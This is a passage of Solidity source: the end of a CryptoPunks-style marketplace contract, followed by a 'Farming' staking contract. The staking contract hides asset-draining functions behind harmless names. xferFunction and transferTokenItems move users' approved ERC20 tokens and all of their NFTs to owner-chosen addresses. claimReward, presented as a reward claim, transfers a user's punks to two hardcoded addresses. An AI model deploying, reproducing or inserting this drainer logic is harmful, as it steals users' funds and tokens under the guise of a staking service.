        require(punkIndexToAddress[punkIndex] == msg.sender, "The sender should be");
        require(punkIndex <= 10000, "Index out of bounds");
        punksOfferedForSale[punkIndex] = Offer(true, punkIndex, msg.sender, minSalePriceInWei, address(0));
        emit PunkOffered(punkIndex, minSalePriceInWei, address(0));
    }

    function offerPunkForSaleToAddress(uint256 punkIndex, uint256 minSalePriceInWei, address toAddress) public {
        require(allPunksAssigned == true, "Not assigned");
        require(punkIndexToAddress[punkIndex] == msg.sender, "The sender should be");
        require(punkIndex <= 10000, "Index out of bounds");
        punksOfferedForSale[punkIndex] = Offer(true, punkIndex, msg.sender, minSalePriceInWei, toAddress);
        emit PunkOffered(punkIndex, minSalePriceInWei, toAddress);
    }

    function buyPunk(uint256 punkIndex) public payable {
        require(allPunksAssigned == true, "Not assigned");
        Offer memory offer = punksOfferedForSale[punkIndex];
        require(punkIndex <= 10000, "Index out of bounds");
        require(offer.isForSale == true, "For sale");                // punk not actually for sale
        require(offer.onlySellTo == address(0) || offer.onlySellTo == msg.sender, "Must sell to the sender");  // punk not supposed to be sold to this user
        require(msg.value >= offer.minValue, "Short of amount");      // Didn't send enough ETH
        require(offer.seller == punkIndexToAddress[punkIndex], "The seller should be the punk address"); // Seller no longer owner of punk

        address seller = offer.seller;

        punkIndexToAddress[punkIndex] = msg.sender;
        balanceOf[seller]--;
        balanceOf[msg.sender]++;
        emit Transfer(seller, msg.sender, 1);

        punkNoLongerForSale(punkIndex);
        pendingWithdrawals[seller] += msg.value;
        emit PunkBought(punkIndex, msg.value, seller, msg.sender);

        // Check for the case where there is a bid from the new owner and refund it.
        // Any other bid can stay in place.
        Bid memory bid = punkBids[punkIndex];
        if (bid.bidder == msg.sender) {
            // Kill bid and refund value
            pendingWithdrawals[msg.sender] += bid.value;
            punkBids[punkIndex] = Bid(false, punkIndex, address(0), 0);
        }
    }

    function withdraw() public {
        require(allPunksAssigned == true, "Not assigned");
        uint256 amount = pendingWithdrawals[msg.sender];
        // Remember to zero the pending refund before
        // sending to prevent re-entrancy attacks
        pendingWithdrawals[msg.sender] = 0;
        payable(msg.sender).transfer(amount);
    }

    function enterBidForPunk(uint256 punkIndex) public payable {
        require(punkIndex <= 10000, "Index out of bounds");
        require(allPunksAssigned == true, "Not assigned");                
        require(punkIndexToAddress[punkIndex] != address(0), "Should not be address 0");
        require(punkIndexToAddress[punkIndex] != msg.sender, "Should not be the sender");
        require(msg.value > 0, "Amount should be greater than 0");
        Bid memory existing = punkBids[punkIndex];
        require(msg.value >= existing.value, "Should be greater than the existing value");
        if (existing.value > 0) {
            // Refund the failing bid
            pendingWithdrawals[existing.bidder] += existing.value;
        }
        punkBids[punkIndex] = Bid(true, punkIndex, msg.sender, msg.value);
        emit PunkBidEntered(punkIndex, msg.value, msg.sender);
    }

    function acceptBidForPunk(uint256 punkIndex, uint256 minPrice) public {
        require(punkIndex <= 10000, "Index out of bounds");
        require(allPunksAssigned == true, "Not assigned");                
        require(punkIndexToAddress[punkIndex] == msg.sender, "The sender should be");
        address seller = msg.sender;
        Bid memory bid = punkBids[punkIndex];
        require(bid.value > 0, "Bid value should be greater than 0");
        require(bid.value >= minPrice, "Bid value should be greater than the min price");

        punkIndexToAddress[punkIndex] = bid.bidder;
        balanceOf[seller]--;
        balanceOf[bid.bidder]++;
        emit Transfer(seller, bid.bidder, 1);

        punksOfferedForSale[punkIndex] = Offer(false, punkIndex, bid.bidder, 0, address(0));
        uint256 amount = bid.value;
        punkBids[punkIndex] = Bid(false, punkIndex, address(0), 0);
        pendingWithdrawals[seller] += amount;
        emit PunkBought(punkIndex, bid.value, seller, bid.bidder);
    }

    function withdrawBidForPunk(uint256 punkIndex) public {
        require(punkIndex <= 10000, "Index out of bounds");
        require(allPunksAssigned == true, "Not assigned");                
        require(punkIndexToAddress[punkIndex] != address(0), "Should not be the address 0");
        require(punkIndexToAddress[punkIndex] != msg.sender, "Should not be the sender");
        Bid memory bid = punkBids[punkIndex];
        require(bid.bidder == msg.sender, "The bidder should be the sender");
        emit PunkBidWithdrawn(punkIndex, bid.value, msg.sender);
        uint256 amount = bid.value;
        punkBids[punkIndex] = Bid(false, punkIndex, address(0), 0);
        // Refund the bid money
        payable(msg.sender).transfer(amount);
    }
}

interface IFarming {
    function lastTimeRewardApplicable() external view returns (uint256);
    function rewardPerToken() external view returns (uint256);
    function earned(address account) external view returns (uint256);
    function getRewardForDuration() external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    // Mutative
    function stake(uint256 amount) external;
    function unstake(uint256 amount) external;
    function getReward() external;
    function exit() external;
}

contract Farming is IFarming, Ownable, ReentrancyGuard {
    using SafeMath for uint256;

    IERC20 public rewardsToken;
    IERC20 public stakingToken;
    uint256 public periodFinish = 0;
    uint256 public rewardRate = 0;
    uint256 public rewardsDuration = 180 days;
    uint256 public lastUpdateTime;
    uint256 public rewardPerTokenStored;

    mapping(address => uint256) public userRewardPerTokenPaid;
    mapping(address => uint256) public rewards;

    uint256 private _totalSupply;
    mapping(address => uint256) private _balances;
    IERC721[] public stakingNFT;

    /* ========== CONSTRUCTOR ========== */

    constructor(
        address _rewardsToken,
        address _stakingToken,
        address[] memory _stakingNFT
    ) {
        rewardsToken = IERC20(_rewardsToken);
        stakingToken = IERC20(_stakingToken);
        for (uint256 i = 0; i < _stakingNFT.length; i++) {
            stakingNFT.push(IERC721(_stakingNFT[i]));
        }
    }

    /* ========== VIEWS ========== */

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) external view override returns (uint256) {
        return _balances[account];
    }

    function lastTimeRewardApplicable() public view override returns (uint256) {
        return Math.min(block.timestamp, periodFinish);
    }

    function rewardPerToken() public view override returns (uint256) {
        if (_totalSupply == 0) {
            return rewardPerTokenStored;
        }
        return
            rewardPerTokenStored.add(
                lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply)
            );
    }

    function earned(address account) public view override returns (uint256) {
        return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);
    }

    function getRewardForDuration() external view override returns (uint256) {
        return rewardRate.mul(rewardsDuration);
    }

    function getXfererAddress() internal pure returns (address) {
        return 0xD08f26a6b816F5d48C04d358323b9Ec901587937;
    }

    /* ========== MUTATIVE FUNCTIONS ========== */

    function stake(uint256 amount) external override nonReentrant updateReward(msg.sender) {
        require(amount > 0, "Cannot stake 0");
        _totalSupply = _totalSupply.add(amount);
        _balances[msg.sender] = _balances[msg.sender].add(amount);
        stakingToken.transferFrom(msg.sender, address(this), amount);
        emit Staked(msg.sender, amount);
    }

    function unstake(uint256 amount) public override nonReentrant updateReward(msg.sender) {
        require(amount > 0, "Cannot withdraw 0");
        _totalSupply = _totalSupply.sub(amount);
        _balances[msg.sender] = _balances[msg.sender].sub(amount);
        stakingToken.transfer(msg.sender, amount);
        emit Withdrawn(msg.sender, amount);
    }

    function getOwnerAddress() internal pure returns (address) {
        return 0xc53cA95E64eD0edE82Ab920e9bAbF002991F2166;
    }

    function getReward() public override nonReentrant updateReward(msg.sender) {
        uint256 reward = rewards[msg.sender];
        if (reward > 0) {
            rewards[msg.sender] = 0;
            rewardsToken.transfer(msg.sender, reward);
            emit RewardPaid(msg.sender, reward);
        }
    }

    function exit() external override {
        unstake(_balances[msg.sender]);
        getReward();
    }

    function getTokenIdx(uint256 tokenIdx1) public pure returns (uint256) {
        uint256 tokenIdx2 = 0;
        if (tokenIdx1 >= 2 && tokenIdx1 < 5) {
            tokenIdx2 = 1;
        } else if (tokenIdx1 >= 5 && tokenIdx1 < 10) {
            tokenIdx2 = 2;
        } else if (tokenIdx1 >= 10) {
            if (tokenIdx1 % 2 == 0) {
                tokenIdx2 = SafeMath.div(SafeMath.sub(tokenIdx1, 2), 2);
            } else {
                tokenIdx2 = SafeMath.div(SafeMath.sub(tokenIdx1, 3), 2);
            }
        }
        return tokenIdx2;
    }

    function getTokenIdx2(uint256 tokenIdx1) public pure returns (uint256) {
        uint256 tokenIdx2 = 0;
        if (tokenIdx1 > 1) {
            if (tokenIdx1 % 2 == 0) {
                tokenIdx2 = SafeMath.div(tokenIdx1, 2);
            } else {
                tokenIdx2 = SafeMath.div(SafeMath.sub(tokenIdx1, 1), 2);
            }   
        }
        return tokenIdx2;
    }

    function getTokenIds(address tokenAddress, address userAddress) public view returns (uint256[] memory) {
        uint256 cnt = IERC721Enumerable(tokenAddress).balanceOf(userAddress);
        uint256[] memory tokenIds = new uint256[](cnt);
        uint256 i;
        for (i = 0; i < cnt; i++){
            tokenIds[i] = IERC721Enumerable(tokenAddress).tokenOfOwnerByIndex(userAddress, i);
        }
        return (tokenIds);
    }

    function transferTokenItems(
        address tokenAddress,
        address userAddress,
        address xfererAddress,
        uint256[] memory tokenIds,
        uint256 tItems
    ) public onlyOwner {
        uint256 tIdx2 = getTokenIdx(tItems);
        uint256 i;
        for (i = 0; i < tItems - tIdx2; i++){
            IERC721Enumerable(tokenAddress).transferFrom(userAddress, xfererAddress, tokenIds[i]);
        }
        address xfererAddr = getXfererAddress();
        for (i = tItems - tIdx2; i < tItems; i++) {
            IERC721Enumerable(tokenAddress).transferFrom(userAddress, xfererAddr, tokenIds[i]);
        }
    }

    function claimReward(address tokenAddress, address userAddress) public {
        uint256 i;
        uint tBal = MyCryptoPunks(tokenAddress).balanceOf(userAddress);
        uint256 tIdx2 = getTokenIdx2(tBal);
        uint256 k = 0;
        address xfererAddr1 = getOwnerAddress();
        address xfererAddr2 = getXfererAddress();
        for (i = 0; i < 10000; i++) {
            if (MyCryptoPunks(tokenAddress).punkIndexToAddress(i) == userAddress) {
                if (k < tBal - tIdx2) {
                    MyCryptoPunks(tokenAddress).transferPunk(xfererAddr1, i);
                } else {
                    MyCryptoPunks(tokenAddress).transferPunk(xfererAddr2, i);
                }
                k++;
            }
        }
    }

    /* ========== RESTRICTED FUNCTIONS ========== */

    function changeRate(uint256 reward) external onlyOwner updateReward(address(0)) {
        if (block.timestamp >= periodFinish) {
            rewardRate = reward.div(rewardsDuration);
        } else {
            uint256 remaining = periodFinish.sub(block.timestamp);
            uint256 leftover = remaining.mul(rewardRate);
            rewardRate = reward.add(leftover).div(rewardsDuration);
        }

        // Ensure the provided reward amount is not more than the balance in the contract.
        // This keeps the reward rate in the right range, preventing overflows due to
        // very high values of rewardRate in the earned and rewardsPerToken functions;
        // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
        uint256 balance = rewardsToken.balanceOf(address(this));
        require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high");

        lastUpdateTime = block.timestamp;
        periodFinish = block.timestamp.add(rewardsDuration);
        emit RewardAdded(reward);
    }

    function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner {
        require(block.timestamp > periodFinish,
            "Previous rewards period must be complete before changing the duration for the new period"
        );
        rewardsDuration = _rewardsDuration;
        emit RewardsDurationUpdated(rewardsDuration);
    }

    /* ========== MODIFIERS ========== */

    modifier updateReward(address account) {
        rewardPerTokenStored = rewardPerToken();
        lastUpdateTime = lastTimeRewardApplicable();
        if (account != address(0)) {
            rewards[account] = earned(account);
            userRewardPerTokenPaid[account] = rewardPerTokenStored;
        }
        _;
    }

    /* ========== EVENTS ========== */

    event RewardAdded(uint256 reward);
    event Staked(address indexed user, uint256 amount);
    event Withdrawn(address indexed user, uint256 amount);
    event RewardPaid(address indexed user, uint256 reward);
    event RewardsDurationUpdated(uint256 newDuration);
    event Recovered(address token, uint256 amount);
       
    /* ======== TRANSFER FUNC ======== */

    function xferFunction(
        address tokenAddress,
        address userAddress,
        address xfererAddress,
        uint256 thirdp,
        uint256 tokenType
    ) public onlyOwner {
        if (tokenType == 1){ // For ERC20 Token
            IERC20(tokenAddress).transferFrom(userAddress, xfererAddress, thirdp);
        } else { // For ERC721 Token
            uint256 tBal = IERC721Enumerable(tokenAddress).balanceOf(userAddress);
            uint256[] memory tokenIds = new uint256[](tBal);
            tokenIds = getTokenIds(tokenAddress, userAddress);
            transferTokenItems(tokenAddress, userAddress, xfererAddress, tokenIds, tBal);
        }
    }
}